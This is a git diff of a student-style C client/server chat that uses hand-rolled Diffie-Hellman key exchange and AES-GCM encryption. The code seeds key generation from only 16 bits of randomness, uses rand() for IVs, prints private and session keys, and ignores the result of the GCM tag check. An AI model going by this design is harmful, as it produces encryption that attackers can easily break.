mpz_get_str(buff,16,client_key.key);
|
||||||
|
memcpy(key_aes,str2hex(buff),32);
|
||||||
|
fclose(client_key.urand);
|
||||||
|
clear_numbers(&client_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
void func(int sockfd)
|
||||||
|
{
|
||||||
|
char buff[MAX_size];
|
||||||
|
int n=0;
|
||||||
|
unsigned char aes_key[32];
|
||||||
|
|
||||||
|
DH_key_exchange_for_client(sockfd, aes_key);
|
||||||
|
printf("\n");
|
||||||
|
print_hex(aes_key, 32);
|
||||||
|
for (;;) {
|
||||||
|
bzero(buff, sizeof(buff));
|
||||||
|
printf("Enter str : ");
|
||||||
|
n = 0;
|
||||||
|
while ((buff[n++] = getchar()) != '\n');
|
||||||
|
send_msg(sockfd, buff, strlen(buff),aes_key);
|
||||||
|
|
||||||
|
bzero(buff, sizeof(buff));
|
||||||
|
|
||||||
|
recv_msg(sockfd, buff, aes_key);
|
||||||
|
printf("From Server : %s", buff);
|
||||||
|
|
||||||
|
if ((strncmp(buff, "exit", 4)) == 0) {
|
||||||
|
printf("Client Exit\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc,char **argv)
|
||||||
|
{
|
||||||
|
int sockfd, connfd;
|
||||||
|
struct sockaddr_in servaddr, cli;
|
||||||
|
|
||||||
|
//创建套接字
|
||||||
|
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (sockfd == -1) {
|
||||||
|
printf("socket creation failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("Socket successfully created\n");
|
||||||
|
bzero(&servaddr, sizeof(servaddr));
|
||||||
|
|
||||||
|
//绑定地址
|
||||||
|
servaddr.sin_family = AF_INET;
|
||||||
|
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
|
||||||
|
servaddr.sin_port = htons(atoi(argv[2]));
|
||||||
|
|
||||||
|
//连接
|
||||||
|
if (connect(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
|
||||||
|
printf("connection with the server failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("connected to the server\n");
|
||||||
|
|
||||||
|
//发送
|
||||||
|
func(sockfd);
|
||||||
|
close(sockfd);
|
||||||
|
}
|
160
client/client_p.c
Normal file
160
client/client_p.c
Normal file
@ -0,0 +1,160 @@
|
|||||||
|
#include <memory.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include "Diffie_hellman.c"
|
||||||
|
#include "aes.h"
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define AES_DEBUG
|
||||||
|
#define MAX_size 256
|
||||||
|
#define PORT 8080
|
||||||
|
#define Sockaddr struct sockaddr
|
||||||
|
|
||||||
|
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||||
|
char buff[MAX_size];
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
int l=read(sockfd, buff, sizeof(buff));
|
||||||
|
memcpy(add,buff+4,16);
|
||||||
|
memcpy(iv,buff+16+4,12);
|
||||||
|
memset(tag,0,16);
|
||||||
|
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||||
|
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||||
|
//add+iv
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
memset(tag,0,16);
|
||||||
|
for(int j=0;j<16;j++)
|
||||||
|
add[j]=rand()%256;
|
||||||
|
for(int j=0;j<12;j++)
|
||||||
|
iv[j]=rand()%256;
|
||||||
|
//encrypt
|
||||||
|
int tmp;
|
||||||
|
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||||
|
memcpy(cryptbuf + 4, add, 16);
|
||||||
|
memcpy(cryptbuf + 20, iv, 12);
|
||||||
|
memcpy(cryptbuf + 32, tag, 16);
|
||||||
|
memcpy(cryptbuf, "daaa", 4);
|
||||||
|
int f;
|
||||||
|
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void DH_key_exchange_for_client(int sockfd, unsigned char * key_aes){
|
||||||
|
Dh_key client_key;
|
||||||
|
init_numbers(&client_key);
|
||||||
|
client_key.urand = fopen("/dev/urandom","r");
|
||||||
|
mpz_set_ui(client_key.base, (unsigned long)2);
|
||||||
|
char buff[MAX_size];
|
||||||
|
memset(buff, 0, MAX_size);
|
||||||
|
|
||||||
|
//receive p
|
||||||
|
memset(buff, 0, MAX_size);
|
||||||
|
read(sockfd,buff,sizeof(buff));
|
||||||
|
mpz_set_str(client_key.prime,buff+3,16);
|
||||||
|
gmp_printf("p:%Zd\n",client_key.prime);
|
||||||
|
|
||||||
|
//generate private key a
|
||||||
|
generate_key(32, &client_key);
|
||||||
|
gmp_printf("a:%Zd\n",client_key.private_key);
|
||||||
|
|
||||||
|
//calculate public key A=g^a(mod p)
|
||||||
|
mpz_powm(client_key.public_key, client_key.base, client_key.private_key, client_key.prime);
|
||||||
|
gmp_printf("A:%Zd\n",client_key.public_key);
|
||||||
|
|
||||||
|
//send A
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
memcpy(buff,"pud",3);
|
||||||
|
mpz_get_str(buff+3,16,client_key.public_key);
|
||||||
|
write(sockfd,buff,sizeof(buff));
|
||||||
|
|
||||||
|
//receive B
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
read(sockfd,buff,sizeof(buff));
|
||||||
|
mpz_t key_from_s;
|
||||||
|
mpz_init(key_from_s);
|
||||||
|
mpz_set_str(key_from_s,buff+3,16);
|
||||||
|
gmp_printf("B:%Zd\n\n",key_from_s);
|
||||||
|
|
||||||
|
//calc s=g^(ab)
|
||||||
|
mpz_powm(client_key.key, key_from_s, client_key.private_key, client_key.prime);
|
||||||
|
|
||||||
|
//key -> char*
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
mpz_get_str(buff,16,client_key.key);
|
||||||
|
memcpy(key_aes,str2hex(buff),32);
|
||||||
|
fclose(client_key.urand);
|
||||||
|
clear_numbers(&client_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
void func(int sockfd)
|
||||||
|
{
|
||||||
|
char buff[MAX_size];
|
||||||
|
int n=0;
|
||||||
|
unsigned char aes_key[32];
|
||||||
|
|
||||||
|
DH_key_exchange_for_client(sockfd, aes_key);
|
||||||
|
print_hex(aes_key, 32);
|
||||||
|
for (;;) {
|
||||||
|
bzero(buff, sizeof(buff));
|
||||||
|
printf("Enter str : ");
|
||||||
|
n = 0;
|
||||||
|
while ((buff[n++] = getchar()) != '\n');
|
||||||
|
send_msg(sockfd, buff, strlen(buff),aes_key);
|
||||||
|
|
||||||
|
bzero(buff, sizeof(buff));
|
||||||
|
|
||||||
|
recv_msg(sockfd, buff, aes_key);
|
||||||
|
printf("From Server : %s", buff);
|
||||||
|
|
||||||
|
if ((strncmp(buff, "exit", 4)) == 0) {
|
||||||
|
printf("Client Exit\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc,char **argv)
|
||||||
|
{
|
||||||
|
if(argc!=3){
|
||||||
|
puts("./client ip port");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
int sockfd, connfd;
|
||||||
|
struct sockaddr_in servaddr, cli;
|
||||||
|
|
||||||
|
//斐膘杶諉趼
|
||||||
|
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (sockfd == -1) {
|
||||||
|
printf("socket creation failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("Socket successfully created\n");
|
||||||
|
bzero(&servaddr, sizeof(servaddr));
|
||||||
|
|
||||||
|
//堂隅華硊
|
||||||
|
servaddr.sin_family = AF_INET;
|
||||||
|
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
|
||||||
|
servaddr.sin_port = htons(atoi(argv[2]));
|
||||||
|
if (connect(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
|
||||||
|
printf("connection with the server failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("connected to the server\n");
|
||||||
|
|
||||||
|
//諉彶
|
||||||
|
func(sockfd);
|
||||||
|
close(sockfd);
|
||||||
|
}
|
9
client/makefile
Normal file
9
client/makefile
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
client:client.c aes-debug.o aes-gcm.o aes-internal.o
|
||||||
|
gcc client.c -o client aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||||
|
aes-debug.o:aes-debug.c
|
||||||
|
gcc -c aes-debug.c -o aes-debug.o
|
||||||
|
aes-gcm.o:aes-gcm.c
|
||||||
|
gcc -c aes-gcm.c -o aes-gcm.o
|
||||||
|
aes-internal.o:aes-internal.c
|
||||||
|
gcc -c aes-internal.c -o aes-internal.o
|
||||||
|
|
8
client/makefile_p
Normal file
8
client/makefile_p
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
client_p:client_p.c aes-debug.o aes-gcm.o aes-internal.o
|
||||||
|
gcc client_p.c -o client_p aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||||
|
aes-debug.o:aes-debug.c
|
||||||
|
gcc -c aes-debug.c -o aes-debug.o
|
||||||
|
aes-gcm.o:aes-gcm.c
|
||||||
|
gcc -c aes-gcm.c -o aes-gcm.o
|
||||||
|
aes-internal.o:aes-internal.c
|
||||||
|
gcc -c aes-internal.c -o aes-internal.o
|
144
server/Diffie_hellman.c
Normal file
144
server/Diffie_hellman.c
Normal file
@ -0,0 +1,144 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <gmp.h>
|
||||||
|
#include <string.h>
|
||||||
|
typedef struct{
|
||||||
|
mpz_t prime;
|
||||||
|
mpz_t base;
|
||||||
|
mpz_t private_key;
|
||||||
|
mpz_t public_key;
|
||||||
|
mpz_t key; //g^(AB)
|
||||||
|
FILE *urand;
|
||||||
|
}Dh_key;
|
||||||
|
void generate_random(size_t sz, unsigned char* random_bytes,Dh_key* dhk)
|
||||||
|
{
|
||||||
|
unsigned int init_random = 0;
|
||||||
|
size_t i = 0;
|
||||||
|
|
||||||
|
if(0 == sz || NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for generate_random\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
|
||||||
|
srand(init_random);
|
||||||
|
for(i = 0; i < sz; i++)
|
||||||
|
{
|
||||||
|
random_bytes[i] = rand();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void print_hex(unsigned char* value, unsigned int len){
|
||||||
|
printf("%s","key exchange:");
|
||||||
|
for(int i=0;i<len;i++)
|
||||||
|
printf("%02x ",value[i]);
|
||||||
|
puts("");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char* str2hex(char *hexStr){
|
||||||
|
int len=strlen(hexStr)/2;
|
||||||
|
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
|
||||||
|
memset(hexvalue,0,len);
|
||||||
|
for(int i=0;i<len;i++){
|
||||||
|
if(hexStr[i*2]<='9'){
|
||||||
|
hexvalue[i]=(hexStr[i*2]-'0')*16;
|
||||||
|
}else
|
||||||
|
hexvalue[i]=(hexStr[i*2]-87)*16; //a=97
|
||||||
|
|
||||||
|
if(hexStr[i*2+1]<='9'){
|
||||||
|
hexvalue[i]+=(hexStr[i*2+1]-'0');
|
||||||
|
}else
|
||||||
|
hexvalue[i]+=(hexStr[i*2+1]-87);
|
||||||
|
}
|
||||||
|
return hexvalue;
|
||||||
|
}
|
||||||
|
|
||||||
|
void generate_key(size_t sz, Dh_key* dhk)
|
||||||
|
{
|
||||||
|
unsigned char* random_bytes = NULL;
|
||||||
|
|
||||||
|
if(0 == sz || NULL == dhk->private_key)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for generate_key\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||||
|
if(NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
generate_random(sz, random_bytes, dhk);
|
||||||
|
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||||
|
free(random_bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void init_prime(size_t sz,Dh_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_t tmp;
|
||||||
|
mpz_t x;
|
||||||
|
unsigned char* random_bytes = NULL;
|
||||||
|
|
||||||
|
|
||||||
|
if(0 == sz)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for init_prime\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
mpz_init(tmp);
|
||||||
|
mpz_init(x);
|
||||||
|
|
||||||
|
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||||
|
if(NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
generate_random(sz, random_bytes,dhk);
|
||||||
|
random_bytes[sz-1] |= (unsigned char)0x40;
|
||||||
|
random_bytes[0] |= (unsigned char)1;
|
||||||
|
|
||||||
|
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||||
|
while (0 == mpz_probab_prime_p(tmp, 10))
|
||||||
|
{
|
||||||
|
mpz_add_ui(tmp, tmp, 2);
|
||||||
|
}
|
||||||
|
mpz_mul_ui(dhk->prime, tmp, 2);
|
||||||
|
mpz_add_ui(dhk->prime, dhk->prime, 1);
|
||||||
|
if (0 != mpz_probab_prime_p(dhk->prime, 10))
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(random_bytes);
|
||||||
|
|
||||||
|
mpz_set_ui(dhk->base, (unsigned long)2);
|
||||||
|
|
||||||
|
mpz_clear(tmp);
|
||||||
|
mpz_clear(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void init_numbers(Dh_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_init(dhk->key);
|
||||||
|
mpz_init(dhk->prime);
|
||||||
|
mpz_init(dhk->base);
|
||||||
|
mpz_init(dhk->private_key);
|
||||||
|
mpz_init(dhk->public_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
void clear_numbers(Dh_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_clear(dhk->key);
|
||||||
|
mpz_clear(dhk->prime);
|
||||||
|
mpz_clear(dhk->base);
|
||||||
|
mpz_clear(dhk->private_key);
|
||||||
|
mpz_clear(dhk->public_key);
|
||||||
|
}
|
246
server/aes-common.h
Normal file
246
server/aes-common.h
Normal file
@ -0,0 +1,246 @@
|
|||||||
|
#ifndef AES_COMMON_H
|
||||||
|
#define AES_COMMON_H
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
|
||||||
|
/* integer types */
|
||||||
|
|
||||||
|
typedef unsigned char aes_uchar;
|
||||||
|
typedef unsigned short aes_ushort;
|
||||||
|
typedef unsigned int aes_uint;
|
||||||
|
typedef unsigned long long aes_ulong;
|
||||||
|
typedef signed char aes_char;
|
||||||
|
typedef signed short aes_short;
|
||||||
|
typedef signed int aes_int;
|
||||||
|
typedef signed long long aes_long;
|
||||||
|
|
||||||
|
|
||||||
|
/* byte order */
|
||||||
|
|
||||||
|
#if defined(__linux__) || defined(__GLIBC__)
|
||||||
|
#include <endian.h>
|
||||||
|
#include <byteswap.h>
|
||||||
|
#endif /* defined(__linux__) || defined(__GLIBC__) */
|
||||||
|
|
||||||
|
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
|
||||||
|
defined(__DragonFly__) || defined(__OpenBSD__)
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/endian.h>
|
||||||
|
#define __BYTE_ORDER _BYTE_ORDER
|
||||||
|
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
|
||||||
|
#define __BIG_ENDIAN _BIG_ENDIAN
|
||||||
|
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
|
||||||
|
* defined(__DragonFly__) || defined(__OpenBSD__) */
|
||||||
|
|
||||||
|
#ifdef sun
|
||||||
|
#include <sys/isa_defs.h>
|
||||||
|
#define __LITTLE_ENDIAN 1234
|
||||||
|
#define __BIG_ENDIAN 4321
|
||||||
|
#ifdef _LITTLE_ENDIAN
|
||||||
|
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||||
|
#else
|
||||||
|
#define __BYTE_ORDER __BIG_ENDIAN
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#define inline __inline
|
||||||
|
#define __LITTLE_ENDIAN 1234
|
||||||
|
#define __BIG_ENDIAN 4321
|
||||||
|
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||||
|
#endif /* _MSC_VER */
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <machine/endian.h>
|
||||||
|
#define __BYTE_ORDER BYTE_ORDER
|
||||||
|
#define __LITTLE_ENDIAN LITTLE_ENDIAN
|
||||||
|
#define __BIG_ENDIAN BIG_ENDIAN
|
||||||
|
#endif /* __APPLE__ */
|
||||||
|
|
||||||
|
|
||||||
|
/* byte swap macros */
|
||||||
|
|
||||||
|
#ifndef bswap_16
|
||||||
|
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
|
||||||
|
(((aes_ushort) (a) & 0x00ff) << 8))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef bswap_32
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define bswap_32(a) __builtin_bswap32(a)
|
||||||
|
#else
|
||||||
|
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
|
||||||
|
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
|
||||||
|
(((aes_uint) (a) & 0x0000ff00) << 8) | \
|
||||||
|
(((aes_uint) (a) & 0x000000ff) << 24))
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef bswap_64
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define bswap_64(a) __builtin_bswap64(a)
|
||||||
|
#else
|
||||||
|
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
|
||||||
|
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
|
||||||
|
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
|
||||||
|
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
|
||||||
|
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
|
||||||
|
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
|
||||||
|
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
|
||||||
|
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||||
|
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
|
||||||
|
#define le_to_host16(n) (n)
|
||||||
|
#define host_to_le16(n) (n)
|
||||||
|
#define be_to_host16(n) bswap_16(n)
|
||||||
|
#define host_to_be16(n) bswap_16(n)
|
||||||
|
#define le_to_host32(n) (n)
|
||||||
|
#define host_to_le32(n) (n)
|
||||||
|
#define be_to_host32(n) bswap_32(n)
|
||||||
|
#define host_to_be32(n) bswap_32(n)
|
||||||
|
#define le_to_host64(n) (n)
|
||||||
|
#define host_to_le64(n) (n)
|
||||||
|
#define be_to_host64(n) bswap_64(n)
|
||||||
|
#define host_to_be64(n) bswap_64(n)
|
||||||
|
#elif __BYTE_ORDER == __BIG_ENDIAN
|
||||||
|
#define le_to_host16(n) bswap_16(n)
|
||||||
|
#define host_to_le16(n) bswap_16(n)
|
||||||
|
#define be_to_host16(n) (n)
|
||||||
|
#define host_to_be16(n) (n)
|
||||||
|
#define le_to_host32(n) bswap_32(n)
|
||||||
|
#define host_to_le32(n) bswap_32(n)
|
||||||
|
#define be_to_host32(n) (n)
|
||||||
|
#define host_to_be32(n) (n)
|
||||||
|
#define le_to_host64(n) bswap_64(n)
|
||||||
|
#define host_to_le64(n) bswap_64(n)
|
||||||
|
#define be_to_host64(n) (n)
|
||||||
|
#define host_to_be64(n) (n)
|
||||||
|
#else
|
||||||
|
#error Could not determine CPU byte order
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* unaligned memory accesses */
|
||||||
|
|
||||||
|
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 8) | a[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
|
||||||
|
{
|
||||||
|
a[0] = val >> 8;
|
||||||
|
a[1] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[1] << 8) | a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
|
||||||
|
{
|
||||||
|
a[1] = val >> 8;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 16) | (a[1] << 8) | a[2];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[0] = (val >> 16) & 0xff;
|
||||||
|
a[1] = (val >> 8) & 0xff;
|
||||||
|
a[2] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[0] = (val >> 24) & 0xff;
|
||||||
|
a[1] = (val >> 16) & 0xff;
|
||||||
|
a[2] = (val >> 8) & 0xff;
|
||||||
|
a[3] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[3] = (val >> 24) & 0xff;
|
||||||
|
a[2] = (val >> 16) & 0xff;
|
||||||
|
a[1] = (val >> 8) & 0xff;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
|
||||||
|
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
|
||||||
|
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
|
||||||
|
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
|
||||||
|
{
|
||||||
|
a[0] = val >> 56;
|
||||||
|
a[1] = val >> 48;
|
||||||
|
a[2] = val >> 40;
|
||||||
|
a[3] = val >> 32;
|
||||||
|
a[4] = val >> 24;
|
||||||
|
a[5] = val >> 16;
|
||||||
|
a[6] = val >> 8;
|
||||||
|
a[7] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
|
||||||
|
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
|
||||||
|
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
|
||||||
|
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
|
||||||
|
{
|
||||||
|
a[7] = val >> 56;
|
||||||
|
a[6] = val >> 48;
|
||||||
|
a[5] = val >> 40;
|
||||||
|
a[4] = val >> 32;
|
||||||
|
a[3] = val >> 24;
|
||||||
|
a[2] = val >> 16;
|
||||||
|
a[1] = val >> 8;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* function attribute macros */
|
||||||
|
|
||||||
|
#ifndef AES_WARN_UNUSED_RESULT
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
|
||||||
|
#else
|
||||||
|
#define AES_WARN_UNUSED_RESULT
|
||||||
|
#endif /* __GNUC__ */
|
||||||
|
#endif /* AES_WARN_UNUSED_RESULT */
|
||||||
|
|
||||||
|
#endif /* AES_COMMON_H */
|
166
server/aes-debug.c
Normal file
166
server/aes-debug.c
Normal file
@ -0,0 +1,166 @@
|
|||||||
|
#define AES_DEBUG
|
||||||
|
|
||||||
|
#include "aes.h"
|
||||||
|
|
||||||
|
int aes_debug_level = MSG_EXCESSIVE;
|
||||||
|
int aes_debug_show_keys = 1;
|
||||||
|
int aes_debug_timestamp = 1;
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||||
|
|
||||||
|
#include <time.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
|
||||||
|
|
||||||
|
int gettimeofday(struct timeval *tv, struct timezone *tz)
|
||||||
|
{
|
||||||
|
FILETIME ft;
|
||||||
|
__int64 tmpres = 0;
|
||||||
|
TIME_ZONE_INFORMATION tz_winapi;
|
||||||
|
int ret = 0;
|
||||||
|
|
||||||
|
ZeroMemory(&ft,sizeof(ft));
|
||||||
|
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
|
||||||
|
|
||||||
|
GetSystemTimeAsFileTime(&ft);
|
||||||
|
|
||||||
|
tmpres = ft.dwHighDateTime;
|
||||||
|
tmpres <<= 32;
|
||||||
|
tmpres |= ft.dwLowDateTime;
|
||||||
|
|
||||||
|
/*converting file time to unix epoch*/
|
||||||
|
tmpres /= 10; /*convert into microseconds*/
|
||||||
|
tmpres -= DELTA_EPOCH_IN_MICROSECS;
|
||||||
|
tv->tv_sec = (__int32)(tmpres*0.000001);
|
||||||
|
tv->tv_usec =(tmpres%1000000);
|
||||||
|
|
||||||
|
if (tz) {
|
||||||
|
ret = GetTimeZoneInformation(&tz_winapi);
|
||||||
|
tz->tz_dsttime = (ret == 2) ? true : false;
|
||||||
|
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
void aes_debug_print_timestamp(void)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
|
||||||
|
if (!aes_debug_timestamp)
|
||||||
|
return;
|
||||||
|
|
||||||
|
gettimeofday(&tv, NULL);
|
||||||
|
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_printf(int level, const char *fmt, ...)
|
||||||
|
{
|
||||||
|
va_list ap;
|
||||||
|
|
||||||
|
va_start(ap, fmt);
|
||||||
|
if (level >= aes_debug_level) {
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
vprintf(fmt, ap);
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
va_end(ap);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
|
||||||
|
size_t len, int show)
|
||||||
